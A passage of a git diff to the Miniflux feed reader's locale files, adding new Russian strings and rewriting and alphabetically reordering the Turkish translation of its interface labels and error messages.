"page.keyboard_shortcuts.open_original_same_window": "Открыть оригинальную ссылку в текущей вкладке", "page.keyboard_shortcuts.open_original": "Открыть оригинальную ссылку", @@ -266,6 +268,7 @@ "alert.no_bookmark": "Избранное отсутствует.", "alert.no_category": "Категории отсутствуют.", "alert.no_category_entry": "В этой категории нет статей.", + "alert.no_tag_entry": "Нет записей, соответствующих этому тегу.", "alert.no_feed_entry": "В этой подписке отсутствуют статьи.", "alert.no_feed": "У вас нет ни одной подписки.", "alert.no_feed_in_category": "Для этой категории нет подписки.", @@ -522,7 +525,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -541,5 +544,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "Скорость воспроизведения аудио/видео", + "error.settings_media_playback_rate_range": "Скорость воспроизведения выходит за пределы диапазона" } diff --git a/internal/locale/translations/tr_TR.json b/internal/locale/translations/tr_TR.json index 3d8c8add..4fc999a2 100644 --- a/internal/locale/translations/tr_TR.json +++ b/internal/locale/translations/tr_TR.json @@ -1,528 +1,500 @@ { - "skip_to_content": "Skip to content", - "confirm.question": "Emin misiniz?", - "confirm.question.refresh": "Zorla yenilemek istiyor musunuz?", - "confirm.yes": "evet", - "confirm.no": "hayır", - "confirm.loading": "Devam ediyor...", - "action.subscribe": "Abone Ol", - "action.save": "Kaydet", - "action.or": "veya", - "action.cancel": "iptal", - "action.remove": "Kaldır", - "action.remove_feed": "Bu beslemeyi kaldır", - "action.update": "Güncelle", - "action.edit": "Düzenle", - "action.download": "İndir", - "action.import": "İçeri Aktar", - "action.login": "Giriş", - "action.home_screen": "Ana ekrana ekle", - "tooltip.keyboard_shortcuts": "Klavye Kısayolu: %s", - "tooltip.logged_user": "%s olarak giriş yapıldı", - "menu.title": "Menu", - "menu.home_page": "Home page", - "menu.unread": "Okunmadı", - "menu.starred": "Yıldız", - "menu.history": "Geçmiş", - "menu.feeds": "Beslemeler", - "menu.categories": "Kategoriler", - "menu.settings": "Ayarlar", - "menu.logout": "Çıkış", - "menu.preferences": "Tercihler", - "menu.integrations": "Bütünleşmeler", - "menu.sessions": "Oturumlar", - "menu.users": "Kullanıcılar", - "menu.about": "Hakkında", - "menu.export": "Dışarı Aktar", - "menu.import": "İçeri Aktar", - "menu.search": "Ara", - "menu.create_category": "Kategori oluştur", - "menu.mark_page_as_read": "Bu sayfayı okundu olarak işaretle", - "menu.mark_all_as_read": "Tümünü okundu olarak işaretle", - "menu.show_all_entries": "Tüm iletileri göster", - "menu.show_only_unread_entries": "Sadece okunmamış iletileri göster", - "menu.refresh_feed": "Yenile", - "menu.refresh_all_feeds": "Tüm beslemeleri arka planda yenile", - "menu.edit_feed": "Düzenle", - "menu.edit_category": "Düzenle", - "menu.add_feed": "Abonelik ekle", - "menu.add_user": "Kullanıcı ekle", - "menu.flush_history": "Geçmişi temizle", - "menu.feed_entries": "İletiler", - "menu.api_keys": "API Anahtarları", - "menu.create_api_key": "Yeni bir API anahtarı oluştur", - "menu.shared_entries": "Paylaşılan iletiler", - "search.label": "Ara", - "search.placeholder": "Ara...", - "search.submit": "Search", - "pagination.next": "Sonraki", - "pagination.previous": "Önceki", - "entry.status.unread": "Okunmadı", - "entry.status.read": "Okundu", - "entry.status.toast.unread": "Okunmadı olarak işaretle", - "entry.status.toast.read": "Okundu olarak işaretle", - "entry.status.title": "İleti durumunu değiştir", - "entry.bookmark.toggle.on": "Yıldız ekle", - "entry.bookmark.toggle.off": "Yıldızı kaldır", - "entry.bookmark.toast.on": "Yıldızlı", - "entry.bookmark.toast.off": "Yıldızsız", - "entry.state.saving": "Kaydediliyor...", - "entry.state.loading": "Yükleniyor...", - "entry.save.label": "Kaydet", - "entry.save.title": "Bu makaleyi kaydet", - "entry.save.completed": "Bitti!", - "entry.save.toast.completed": "Makale kaydedildi", - "entry.scraper.label": "İndir", - "entry.scraper.title": "Orijinal içeriği çek", - "entry.scraper.completed": "Bitti!", - "entry.external_link.label": "Dış bağlantı", - "entry.comments.label": "Yorumlar", - "entry.comments.title": "Yorumları Göster", - "entry.share.label": "Paylaş", - "entry.share.title": "Bu makaleyi paylaş", - "entry.unshare.label": "Paylaşma", - "entry.shared_entry.title": "Herkese açık bağlantıyı aç", - "entry.shared_entry.label": "Paylaş", - "entry.estimated_reading_time": [ - "%d dakikalık okuma", - "%d dakikalık okuma" - ], - "entry.tags.label": "Etiketleri:", - "page.shared_entries.title": "Paylaşılan iletiler", - "page.shared_entries_count": [ - "%d shared entry", - "%d shared entries" - ], - "page.unread.title": "Okunmadı", - "page.unread_entry_count": [ - "%d unread entry", - "%d unread entries" - ], - "page.total_entry_count": [ - "%d entry in total", - "%d entries in total" - ], - "page.starred.title": "Yıldızlı", - "page.starred_entry_count": [ - "%d starred entry", - "%d starred entries" - ], - "page.categories.title": "Kategoriler", - "page.categories.no_feed": "Besleme yok.", - "page.categories.entries": "Makaleler", - "page.categories.feeds": "Abonelikler", - "page.categories.feed_count": [ - "%d besleme var.", - "%d besleme var." - ], - "page.categories_count": [ - "%d category", - "%d categories" - ], - "page.new_category.title": "Yeni Kategori", - "page.new_user.title": "Yeni Kullanıcı", - "page.edit_category.title": "Kategoriyi Düzenle: %s", - "page.edit_user.title": "Kullanıcıyı Düzenle: %s", - "page.feeds.title": "Beslemeler", - "page.category_label": "Category: %s", - "page.feeds.last_check": "Son kontrol:", - "page.feeds.next_check": "Next check:", - "page.feeds.read_counter": "Okunmuş iletilerin sayısı", - "page.feeds.error_count": [ - "%d hata", - "%d hata" - ], - "page.history.title": "Geçmiş", - "page.read_entry_count": [ - "%d read entry", - "%d read entries" - ], - "page.import.title": "İçeri Aktar", - "page.search.title": "Arama Sonuçları", - "page.about.title": "Hakkında", - "page.about.credits": "Katkıda Bulunanlar", - "page.about.version": "Sürüm:", - "page.about.build_date": "Oluşturulma Tarihi:", - "page.about.author": "Yazar:", - "page.about.license": "Lisans:", - "page.about.global_config_options": "Global yapılandırma seçenekleri", - "page.about.postgres_version": "Postgres sürümü:", - "page.about.go_version": "Go sürümü:", - "page.add_feed.title": "Yeni Abonelik", - "page.add_feed.no_category": "Kategori yok. En az bir kategoriye sahip olmalısınız.", - "page.add_feed.label.url": "URL", - "page.add_feed.submit": "Bir abonelik bul", - "page.add_feed.legend.advanced_options": "Gelişmiş Seçenekler", - "page.add_feed.choose_feed": "Bir Abonelik Seçin", - "page.edit_feed.title": "Beslemeyi düzenle: %s", - "page.edit_feed.last_check": "Son kontrol:", - "page.edit_feed.last_modified_header": "LastModified başlığı:", - "page.edit_feed.etag_header": "ETag başlığı:", - "page.edit_feed.no_header": "Hiçbiri", - "page.edit_feed.last_parsing_error": "Son Ayrıştırma Hatası", - "page.entry.attachments": "Ekler", - "page.keyboard_shortcuts.title": "Klavye Kısayolları", - "page.keyboard_shortcuts.subtitle.sections": "Bölüm Gezinmesi", - "page.keyboard_shortcuts.subtitle.items": "Öğe Gezinmesi", - "page.keyboard_shortcuts.subtitle.pages": "Sayfa Gezinmesi", - "page.keyboard_shortcuts.subtitle.actions": "Hareketler", - "page.keyboard_shortcuts.go_to_unread": "Okunmamışa git", - "page.keyboard_shortcuts.go_to_starred": "Yer imlerine git", - "page.keyboard_shortcuts.go_to_history": "Geçmişe git", - "page.keyboard_shortcuts.go_to_feeds": "Beslemelere git", - "page.keyboard_shortcuts.go_to_categories": "Kategorilere git", - "page.keyboard_shortcuts.go_to_settings": "Ayarlara git", - "page.keyboard_shortcuts.show_keyboard_shortcuts": "Klavye kısayollarını göster", - "page.keyboard_shortcuts.go_to_previous_item": "Önceki öğeye git", - "page.keyboard_shortcuts.go_to_next_item": "Sonraki öğeye git", - "page.keyboard_shortcuts.go_to_feed": "Beslemeye git", - "page.keyboard_shortcuts.go_to_previous_page": "Önceki sayfaya git", - "page.keyboard_shortcuts.go_to_next_page": "Sonraki sayfaya git", - "page.keyboard_shortcuts.open_item": "Seçili öğeyi aç", - "page.keyboard_shortcuts.open_original": "Orijinal bağlantıyı aç", - "page.keyboard_shortcuts.open_original_same_window": "Orijinal bağlantıyı mevcut sekmede aç", - "page.keyboard_shortcuts.open_comments": "Yorumlar bağlantısını aç", - "page.keyboard_shortcuts.open_comments_same_window": "Yorumlar bağlantısını mevcut sekmede aç", - "page.keyboard_shortcuts.toggle_read_status_next": "Okundu/okunmadı arasında geçiş yap, sonrakine odaklan", - "page.keyboard_shortcuts.toggle_read_status_prev": "Okundu/okunmadı arasında geçiş yap, öncekine odaklan", - "page.keyboard_shortcuts.refresh_all_feeds": "Tüm beslemeleri arka planda yenile", - "page.keyboard_shortcuts.mark_page_as_read": "Mevcut sayfayı okundu olarak işaretle", - "page.keyboard_shortcuts.download_content": "Orijinal içeriği indir", - "page.keyboard_shortcuts.toggle_bookmark_status": "Yer işaretini değiştir", - "page.keyboard_shortcuts.save_article": "Makaleyi kaydet", - "page.keyboard_shortcuts.scroll_item_to_top": "Öğeyi en üste kaydır", - "page.keyboard_shortcuts.remove_feed": "Bu beslemeyi kaldır", - "page.keyboard_shortcuts.go_to_search": "Arama formuna odakla", - "page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments", - "page.keyboard_shortcuts.close_modal": "İletişim kutusunu kapat", - "page.users.title": "Kullanıcılar", - "page.users.username": "Kullanıcı adı", - "page.users.never_logged": "Asla", - "page.users.admin.yes": "Evet", - "page.users.admin.no": "Hayır", - "page.users.actions": "Hareketler", - "page.users.last_login": "Son Giriş", - "page.users.is_admin": "Yönetici", - "page.settings.title": "Ayarlar", - "page.settings.link_google_account": "Google hesabımı bağla", - "page.settings.unlink_google_account": "Google hesabımın bağlantısını kaldır", - "page.settings.link_oidc_account": "OpenID Connect hesabımı bağla", - "page.settings.unlink_oidc_account": "OpenID Connect hesabımın bağlantısını kaldır", - "page.settings.webauthn.passkeys": "Passkeys", - "page.settings.webauthn.actions": "Actions", - "page.settings.webauthn.passkey_name": "Passkey Name", - "page.settings.webauthn.added_on": "Added On", - "page.settings.webauthn.last_seen_on": "Last Used", - "page.settings.webauthn.register": "şifreyi kaydet", - "page.settings.webauthn.register.error": "Geçiş anahtarı kaydedilemiyor", - "page.settings.webauthn.delete": [ - "%d geçiş anahtarını kaldır", - "%d geçiş anahtarını kaldır" - ], - "page.login.title": "Oturum aç", - "page.login.google_signin": "Google ile oturum aç", - "page.login.oidc_signin": "OpenID Connect ile oturum aç", - "page.login.webauthn_login": "şifre ile giriş yap", - "page.login.webauthn_login.error": "şifre ile giriş yapılamıyor", - "page.integrations.title": "Bütünleşmeler", - "page.integration.miniflux_api": "Miniflux API", - "page.integration.miniflux_api_endpoint": "API Uç Noktası", - "page.integration.miniflux_api_username": "Kullanıcı adı", - "page.integration.miniflux_api_password": "Parola", - "page.integration.miniflux_api_password_value": "Hesap parolan", - "page.integration.bookmarklet": "Bookmarklet", - "page.integration.bookmarklet.name": "Miniflux'a Ekle", - "page.integration.bookmarklet.instructions": "Bu bağlantıyı yer imlerinize sürükleyip bırakın", - "page.integration.bookmarklet.help": "Bu özel bağlantı, web tarayıcınızdaki yer imini kullanarak bir web sitesine doğrudan abone olmanızı sağlar.", - "page.sessions.title": "Oturumlar", - "page.sessions.table.date": "Tarih", - "page.sessions.table.ip": "IP Adresi", - "page.sessions.table.user_agent": "User Agent", - "page.sessions.table.actions": "Hareketler", - "page.sessions.table.current_session": "Mevcut Oturum", - "page.api_keys.title": "API Anahtarları", - "page.api_keys.table.description": "Açıklama", - "page.api_keys.table.token": "Token", - "page.api_keys.table.last_used_at": "Son Kullanılma", - "page.api_keys.table.created_at": "Oluşturulma Tarihi", - "page.api_keys.table.actions": "Hareketler", - "page.api_keys.never_used": "Hiç Kullanılmadı", - "page.new_api_key.title": "Yeni API Anahtarı", - "page.offline.title": "Çevrimdışı Modu", - "page.offline.message": "Çevrimdışısınız", - "page.offline.refresh_page": "Sayfayı yenilemeyi dene", - "page.webauthn_rename.title": "Rename Passkey", - "alert.no_shared_entry": "Paylaşılan ileti yok.", - "alert.no_bookmark": "Şu anda hiç yer imi yok.", - "alert.no_category": "Hiç kategori yok.", - "alert.no_category_entry": "Bu kategoride hiç makale yok.", - "alert.no_feed_entry": "Bu besleme için makale yok.", - "alert.no_feed": "Hiç aboneliğiniz yok.", - "alert.no_feed_in_category": "Bu kategori için aboneliğiniz yok.", - "alert.no_history": "Şu anda hiç geçmiş yok.", - "alert.feed_error": "Bu beslemeyle ilgili bir problem var", - "alert.no_search_result": "Bu arama için sonuç yok", - "alert.no_unread_entry": "Okunmamış makale yok", - "alert.no_user": "Tek kullanıcı sizsiniz", - "alert.account_unlinked": "Harici hesabınızın bağlantısı kaldırıldı!", - "alert.account_linked": "Harici hesabınız bağlandı.", - "alert.pocket_linked": "Pocket hesabınız bağlandı.", - "alert.prefs_saved": "Tercihler kaydedildi!", - "error.unlink_account_without_password": "Bir şifre belirlemelisiniz, aksi takdirde tekrar oturum açamazsınız.", - "error.duplicate_linked_account": "Bu sağlayıcıyla ilişkilendirilmiş biri zaten var!", - "error.duplicate_fever_username": "Aynı Fever kullanıcı adına sahip başka biri zaten var!", - "error.duplicate_googlereader_username": "Aynı Google Reader kullanıcı adına sahip başka biri zaten var!", - "error.pocket_request_token": "Pocket'tan istek tokeni alınamıyor!", - "error.pocket_access_token": "Pocket'tan erişim tokeni alınamıyor!", - "error.category_already_exists": "Bu kategori zaten mevcut.", - "error.unable_to_create_category": "Bu kategori oluşturulamıyor.", - "error.unable_to_update_category": "Bu kategori güncellenemiyor.", - "error.user_already_exists": "Bu kullanıcı zaten mevcut.", - "error.unable_to_create_user": "Bu kullanıcı oluşturulamıyor.", - "error.unable_to_update_user": "Bu kullanıcı güncellenemiyor.", - "error.unable_to_update_feed": "Bu besleme güncellenemiyor.", - "error.subscription_not_found": "Herhangi bir abonelik bulunamadı.", - "error.invalid_theme": "Geçersiz tema.", - "error.invalid_language": "Geçersiz dil.", - "error.invalid_timezone": "Geçersiz saat dilimi", - "error.invalid_entry_direction": "Geçersiz giriş yönü.", - "error.invalid_display_mode": "Geçersiz web uygulaması görüntüleme modu.", - "error.invalid_gesture_nav": "Hareketle gezinme geçersiz.", - "error.invalid_default_home_page": "Geçersiz varsayılan ana sayfa!", - "error.empty_file": "Bu dosya boş.", - "error.bad_credentials": "Geçersiz kullanıcı veya parola.", - "error.fields_mandatory": "Tüm alanlar zorunlu.", - "error.title_required": "Başlık zorunlu.", - "error.different_passwords": "Parolalar eşleşmiyor.", - "error.password_min_length": "Parola en az 6 karakter içermeli.", - "error.settings_mandatory_fields": "Kullanıcı ad, tema, dil ve saat dilimi zorunlu.", - "error.settings_reading_speed_is_positive": "Okuma hızları pozitif tam sayılar olmalıdır.", - "error.entries_per_page_invalid": "Sayfa başına ileti sayısı geçersiz.", - "error.feed_mandatory_fields": "URL ve kategori zorunlu.", - "error.feed_already_exists": "Bu besleme zaten mevcut.", - "error.invalid_feed_url": "Geçersiz besleme URL'si.", - "error.invalid_site_url": "Geçersiz site URL'si.", - "error.feed_url_not_empty": "Besleme URL'si boş olamaz.", - "error.site_url_not_empty": "Site URL'si boş olamaz.", - "error.feed_title_not_empty": "Besleme başlığı boş olamaz.", - "error.feed_category_not_found": "Bu kategori mevcut değil ya da bu kullanıcıya ait değil.", - "error.feed_invalid_blocklist_rule": "Engelleme listesi kuralı geçersiz.", - "error.feed_invalid_keeplist_rule": "Saklama listesi kuralı geçersiz.", - "error.user_mandatory_fields": "Kullanıcı adı zorunlu.", - "error.api_key_already_exists": "Bu API anahtarı zaten mevcut.", - "error.unable_to_create_api_key": "Bu API anahtarı oluşturulamıyor.", - "form.feed.label.title": "Başlık", - "form.feed.label.site_url": "Site URL'si", - "form.feed.label.feed_url": "Besleme URL'si", - "form.feed.label.category": "Kategori", - "form.feed.label.crawler": "Orijinal içeriği çek", - "form.feed.label.feed_username": "Besleme Kullanıcı Adı", - "form.feed.label.feed_password": "Besleme Parolası", - "form.feed.label.user_agent": "Varsayılan User Agent'i Geçersiz Kıl", - "form.feed.label.cookie": "Çerezleri Ayarla", - "form.feed.label.scraper_rules": "Scrapper Kuralları", - "form.feed.label.rewrite_rules": "Yeniden Yazma Kuralları", - "form.feed.label.blocklist_rules": "Engelleme Kuralları", - "form.feed.label.keeplist_rules": "Saklama Kuralları", - "form.feed.label.urlrewrite_rules": "URL Yeniden Yazma Kuralları", - "form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs", - "form.feed.label.ignore_http_cache": "HTTP önbelleğini yoksay", - "form.feed.label.allow_self_signed_certificates": "Kendinden imzalı veya geçersiz sertifikalara izin ver", - "form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting", - "form.feed.label.fetch_via_proxy": "Proxy ile çek", - "form.feed.label.disabled": "Bu beslemeyi yenileme", - "form.feed.label.no_media_player": "No media player (audio/video)", - "form.feed.label.hide_globally": "Genel okunmamış listesindeki girişleri gizle", - "form.feed.fieldset.general": "General", - "form.feed.fieldset.rules": "Rules", - "form.feed.fieldset.network_settings": "Network Settings", - "form.feed.fieldset.integration": "Third-Party Services", - "form.category.label.title": "Başlık", - "form.category.hide_globally": "Genel okunmamış listesindeki girişleri gizle", - "form.user.label.username": "Kullanıcı Adı", - "form.user.label.password": "Parola", - "form.user.label.confirmation": "Parola Doğrulama", - "form.user.label.admin": "Yönetici", - "form.prefs.label.language": "Dil", - "form.prefs.label.timezone": "Saat Dilimi", - "form.prefs.label.theme": "Tema", - "form.prefs.label.entry_sorting": "İleti Sıralaması", - "form.prefs.label.entries_per_page": "Sayfa başına ileti", - "form.prefs.label.default_reading_speed": "Diğer diller için okuma hızı (dakika başına kelime)", - "form.prefs.label.cjk_reading_speed": "Çince, Korece ve Japonca için okuma hızı (dakika başına karakter)", - "form.prefs.label.display_mode": "Aşamalı Web Uygulaması (PWA) görüntüleme modu", - "form.prefs.select.older_first": "Önce eski iletiler", - "form.prefs.select.recent_first": "Önce yeni iletiler", - "form.prefs.select.fullscreen": "Tam Ekran", - "form.prefs.select.standalone": "Bağımsız", - "form.prefs.select.minimal_ui": "Minimal", - "form.prefs.select.browser": "Tarayıcı", - "form.prefs.select.publish_time": "Giriş yayınlanma zamanı", - "form.prefs.select.created_time": "Girişin oluşturulma zamanı", - "form.prefs.select.alphabetical": "Alfabetik", - "form.prefs.select.unread_count": "Okunmamış sayısı", - "form.prefs.select.none": "Hiçbiri", - "form.prefs.select.tap": "çift dokunma", - "form.prefs.select.swipe": "Tokatlamak", - "form.prefs.label.keyboard_shortcuts": "Klavye kısayollarını etkinleştir", - "form.prefs.label.entry_swipe": "Увімкніть введення пальцем на сенсорних екранах", - "form.prefs.label.gesture_nav": "Girişler arasında gezinmek için hareket", - "form.prefs.label.show_reading_time": "Makaleler için tahmini okuma süresini göster", - "form.prefs.label.custom_css": "Özel CSS", - "form.prefs.label.entry_order": "Giriş Sıralama Sütunu", - "form.prefs.label.default_home_page": "Varsayılan ana sayfa", - "form.prefs.label.categories_sorting_order": "Kategoriler sıralama", - "form.prefs.label.mark_read_on_view": "Girişleri görüntülendiğinde otomatik olarak okundu olarak işaretle", - "form.prefs.fieldset.application_settings": "Application Settings", - "form.prefs.fieldset.authentication_settings": "Authentication Settings", - "form.prefs.fieldset.reader_settings": "Reader Settings", - "form.import.label.file": "OPML dosyası", - "form.import.label.url": "URL", - "form.integration.fever_activate": "Fever API'yi Etkinleştir", - "form.integration.fever_username": "Fever Kullanıcı Adı", - "form.integration.fever_password": "Fever Parolası", - "form.integration.fever_endpoint": "Fever API uç noktası:", - "form.integration.googlereader_activate": "Google Reader API'yi Etkinleştir", - "form.integration.googlereader_username": "Google Reader Kullanıcı Adı", - "form.integration.googlereader_password": "Google Reader Parolası", - "form.integration.googlereader_endpoint": "Google Reader API uç noktası:", - "form.integration.pinboard_activate": "Makaleleri Pinboard'a kaydet", - "form.integration.pinboard_token": "Pinboard API Token", - "form.integration.pinboard_tags": "Pinboard Etiketleri", - "form.integration.pinboard_bookmark": "Yer imini okunmadı olarak işaretle", - "form.integration.instapaper_activate": "Makaleleri Instapaper'a kaydet", - "form.integration.instapaper_username": "Instapaper Kullanıcı Adı", - "form.integration.instapaper_password": "Instapaper Parolası", - "form.integration.pocket_activate": "Makaleleri Pocket'a kaydet", - "form.integration.pocket_consumer_key": "Pocket Consumer Anahtarı", - "form.integration.pocket_access_token": "Pocket Access Token", - "form.integration.pocket_connect_link": "Pocket hesabını bağla", - "form.integration.wallabag_activate": "Makaleleri Wallabag'e kaydet", - "form.integration.wallabag_only_url": "Yalnızca URL gönder (tam içerik yerine)", - "form.integration.wallabag_endpoint": "Wallabag API Uç Noktası", - "form.integration.wallabag_client_id": "Wallabag Client ID", - "form.integration.wallabag_client_secret": "Wallabag Client Secret", - "form.integration.wallabag_username": "Wallabag Kullanıcı Adı", - "form.integration.wallabag_password": "Wallabag Parolası", - "form.integration.notion_activate": "Save entries to Notion", - "form.integration.notion_page_id": "Notion Page ID", - "form.integration.notion_token": "Notion Secret Token", - "form.integration.apprise_activate": "Push entries to Apprise", - "form.integration.apprise_url": "Apprise API URL", - "form.integration.apprise_services_url": "Comma separated list of Apprise service URLs", - "form.integration.nunux_keeper_activate": "Makaleleri Nunux Keeper'a kaydet", - "form.integration.nunux_keeper_endpoint": "Nunux Keeper API Uç Noktası", - "form.integration.nunux_keeper_api_key": "Nunux Keeper API anahtarı", - "form.integration.omnivore_activate": "Makaleleri Omnivore'a kaydet", - "form.integration.omnivore_url": "Omnivore API Uç Noktası", - "form.integration.omnivore_api_key": "Omnivore API anahtarı", - "form.integration.espial_activate": "Makaleleri Espial'e kaydet", - "form.integration.espial_endpoint": "Espial API Uç Noktası", - "form.integration.espial_api_key": "Espial API Anahtarı", - "form.integration.espial_tags": "Espial Etiketleri", - "form.integration.readwise_activate": "Save entries to Readwise Reader", - "form.integration.readwise_api_key": "Readwise Reader Access Token", - "form.integration.readwise_api_key_link": "Get your Readwise Access Token", - "form.integration.telegram_bot_activate": "Yeni makaleleri Telegram sohbetine gönderin", - "form.integration.telegram_bot_token": "Bot jetonu", - "form.integration.telegram_chat_id": "Sohbet kimliği", - "form.integration.telegram_topic_id": "Topic ID", - "form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview", - "form.integration.telegram_bot_disable_notification": "Disable notification", - "form.integration.telegram_bot_disable_buttons": "Disable buttons", - "form.integration.linkace_activate": "Save entries to LinkAce", - "form.integration.linkace_endpoint": "LinkAce API Endpoint", - "form.integration.linkace_api_key": "LinkAce API key", - "form.integration.linkace_tags": "LinkAce Tags", - "form.integration.linkace_is_private": "Mark link as private", - "form.integration.linkace_check_disabled": "Disable link check", - "form.integration.linkding_activate": "Makaleleri Linkding'e kaydet", - "form.integration.linkding_endpoint": "Linkding API Uç Noktası", - "form.integration.linkding_api_key": "Linkding API Anahtarı", - "form.integration.linkding_tags": "Linkding Tags", - "form.integration.linkding_bookmark": "Yer imini okunmadı olarak işaretle", - "form.integration.linkwarden_activate": "Makaleleri Linkwarden'e kaydet", - "form.integration.linkwarden_endpoint": "Linkwarden API Uç Noktası", - "form.integration.linkwarden_api_key": "Linkwarden API Anahtarı", - "form.integration.matrix_bot_activate": "Yeni makaleleri Matrix'e aktarın", - "form.integration.matrix_bot_user": "Matrix için Kullanıcı Adı", - "form.integration.matrix_bot_password": "Matrix kullanıcısı için şifre", - "form.integration.matrix_bot_url": "Matris sunucusu URL'si", - "form.integration.matrix_bot_chat_id": "Matris odasının kimliği", - "form.integration.readeck_activate": "Makaleleri Readeck'e kaydet", - "form.integration.readeck_endpoint": "Readeck API Uç Noktası", - "form.integration.readeck_api_key": "Readeck API Anahtarı", - "form.integration.readeck_labels": "Readeck Labels", - "form.integration.readeck_only_url": "Yalnızca URL gönder (tam içerik yerine)", - "form.integration.shiori_activate": "Makaleleri Shiori'e kaydet", - "form.integration.shiori_endpoint": "Shiori API Uç Noktası", - "form.integration.shiori_username": "Shiori Kullanıcı Adı", - "form.integration.shiori_password": "Shiori Parolası", - "form.integration.shaarli_activate": "Save articles to Shaarli", - "form.integration.shaarli_endpoint": "Shaarli URL", - "form.integration.shaarli_api_secret": "Shaarli API Secret", - "form.integration.webhook_activate": "Enable Webhook", - "form.integration.webhook_url": "Webhook URL", - "form.integration.webhook_secret": "Webhook Secret", - "form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions", - "form.integration.rssbridge_url": "RSS-Bridge server URL", - "form.api_key.label.description": "API Anahtar Etiketi", - "form.submit.loading": "Yükleniyor...", - "form.submit.saving": "Kaydediliyor...", - "time_elapsed.not_yet": "henüz değil", - "time_elapsed.yesterday": "dün", - "time_elapsed.now": "şimdi", - "time_elapsed.minutes": [ - "%d dakika önce", - "%d dakika önce" - ], - "time_elapsed.hours": [ - "%d saat önce", - "%d saat önce" - ], - "time_elapsed.days": [ - "%d gün önce", - "%d gün önce" - ], - "time_elapsed.weeks": [ - "%d hafta önce", - "%d hafta önce" - ], - "time_elapsed.months": [ - "%d ay önce", - "%d ay önce" - ], - "time_elapsed.years": [ - "%d yıl önce", - "%d yıl önce" - ], - "alert.too_many_feeds_refresh": [ - "You have triggered too many feed refreshes. Please wait %d minute before trying again.", - "You have triggered too many feed refreshes. Please wait %d minutes before trying again." - ], - "alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.", - "error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).", - "error.http_body_read": "Unable to read the HTTP body: %v.", - "error.http_empty_response_body": "The HTTP response body is empty.", - "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", - "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", - "error.network_timeout": "This website is too slow and the request timed out: %v", - "error.http_client_error": "HTTP client error: %v.", - "error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.", - "error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.", - "error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?", - "error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.", - "error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.", - "error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.", - "error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.", - "error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.", - "error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.", - "error.database_error": "Database error: %v.", - "error.category_not_found": "This category does not exist or does not belong to this user.", - "error.duplicated_feed": "This feed already exists.", - "error.unable_to_parse_feed": "Unable to parse this feed: %v.", - "error.feed_not_found": "This feed does not exist or does not belong to this user.", - "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "action.cancel": "iptal", + "action.download": "İndir", + "action.edit": "Düzenle", + "action.home_screen": "Ana ekrana ekle", + "action.import": "İçeri Aktar", + "action.login": "Giriş", + "action.or": "veya", + "action.remove": "Kaldır", + "action.remove_feed": "Bu beslemeyi kaldır", + "action.save": "Kaydet", + "action.subscribe": "Abone Ol", + "action.update": "Güncelle", + "alert.account_linked": "Harici hesabınız bağlandı!", + "alert.account_unlinked": "Harici hesabınızın bağlantısı kaldırıldı!", + "alert.background_feed_refresh": "Tüm beslemeler arkaplanda yenileniyor. Bu süreç devam ederken Miniflux'ı kullanmaya devam edebilirsiniz.", + "alert.feed_error": "Bu beslemeyle ilgili bir problem var", + "alert.no_bookmark": "Yıldızlanmış makale yok.", + "alert.no_category": "Hiç kategori yok.", + "alert.no_category_entry": "Bu kategoride hiç makele yok.", + "alert.no_tag_entry": "Bu etiketle eşleşen hiçbir giriş yok.", + "alert.no_feed": "Hiç beslemeniz yok.", + "alert.no_feed_entry": "Bu besleme için makele yok.", + "alert.no_feed_in_category": "Bu kategori için besleme yok.", + "alert.no_history": "Şu anda hiç geçmiş yok.", + "alert.no_search_result": "Bu arama için sonuç yok", + "alert.no_shared_entry": "Paylaşılan bir makele yok.", + "alert.no_unread_entry": "Okunmamış makele yok", + "alert.no_user": "Tek kullanıcı sizsiniz", + "alert.pocket_linked": "Pocket hesabınız artık bağlandı.", + "alert.prefs_saved": "Tercihler kaydedildi!", + "alert.too_many_feeds_refresh": [ + "Çok fazla besleme yenilemesi başlattınız. Tekrar denemeden önce lütfen %d dakika bekleyin.", + "Çok fazla besleme yenilemesi başlattınız. Tekrar denemeden önce lütfen %d dakika bekleyin." + ], + "confirm.loading": "Devam ediyor...", + "confirm.no": "hayır", + "confirm.question": "Emin misiniz?", + "confirm.question.refresh": "Zorla yenilemek istiyor musunuz?", + "confirm.yes": "evet", + 